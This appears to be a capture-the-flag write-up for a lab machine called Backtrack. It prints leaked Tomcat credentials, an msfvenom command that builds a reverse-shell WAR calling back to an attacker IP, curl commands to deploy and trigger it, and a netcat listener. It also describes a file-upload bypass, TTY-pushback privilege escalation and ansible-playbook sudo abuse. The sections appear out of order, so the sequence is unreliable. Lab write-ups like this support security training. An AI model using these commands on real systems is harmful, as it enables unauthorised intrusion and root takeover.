So as you can see we are able to exploit it. Lets try to get something useful now.
After a bit of searching i found the tomcat user.
Username: tomcat
password: OPx52k53D8OkTZpx4fr
Inital Access.
Reverse Shell.
After i got the creds i search on how i can use the manager-script role to exploit the system i found that this role mean i can not access the gui managment tool but i can access the end points which is under /manager/text so we all need to do is create reverse shell and upload it to the server. You can refre to the following link great example.
To create Reverse Shell i used msfvenom.
msfvenom -p java/shell_reverse_tcp lhost=10.11.96.110 lport=4444 -f war -o pwn.war
And for uploading it into the server i used curl
curl -v -u tomcat:OPx52k53D8OkTZpx4fr --upload-file pwn.war "http://backtrack.thm:8080/manager/text/deploy?path=/foo&update=true"
Finally using curl again we can run the code
nc -nlvp 4444 # netcat for sure.
curl http://backtrack.thm:8080/foo
So First we will see a message ot wilbur from orville.
And aslo we have another note which contain ssh creds.
So let's see what orville talk about.
We can see here we have a known http port we have not seen before so lets do some port forwarding using SSH.
And now we can access it from port 80 on our machine.
After login we see an upload place and the project run php so we maybe able to execute php on the machine.
We can not simple just upload php file so there maybe some way to do that.
Oh man after some time of testing i found that we can upload a file in a such a way fileName.png.php but this will not be executed on the server let's check the apache config to figure out why
wilbur@Backtrack:~$ cat /etc/apache2/apache2.conf
So that's why. So since we have been performing path inclusion so i belive here we need to do the same.
And some testing i came out to find we can using url encoding.
This will produce orville and orville.pub key copy the content of orville.pub into /home/orville/.ssh/authorized_keys , and copy the content of the orville into your machine and change its premission to 600 and login with it.
Exploit TTYPushback.
After some search i used pspy64 to see what is going on under the seen and i saw this.
So basiclly the root user login via ssh and switch user to orville user which then zip some stuff. The problem here is that the root user does not uses -p tag which used so create new TTY so we maybe able to retrive the root session and execute commands.
So this is the python code just change the command to add s bit to bash so we can executed as root and move that into the .bashrc which will be automaticlly executed once the root switchs to the other user.
So let's try to do some basic path traversal techniques and some fuzzing.
And indded it was vulnrable to local file inclusion because it trys to open the file without any checking on the user inputs which is a big no no.
So as you can see first we have sudo privilage as wilbur on ansible-playbook which is a tool to manage automated tasks. So this one is quite simpel but i actuly take so long to figure it .
https://gtfobins.github.io/gtfobins/ansible-playbook/
using this source we can figure how we can spawn a shell from a task
At the end this machine was quite fun and has some new things that i have not seen before
😯
😢
👍
So as you can see in the image it seems that there is a path traversal in here also as the image of the machine show
We can find the first flag under the directory of tomcat.
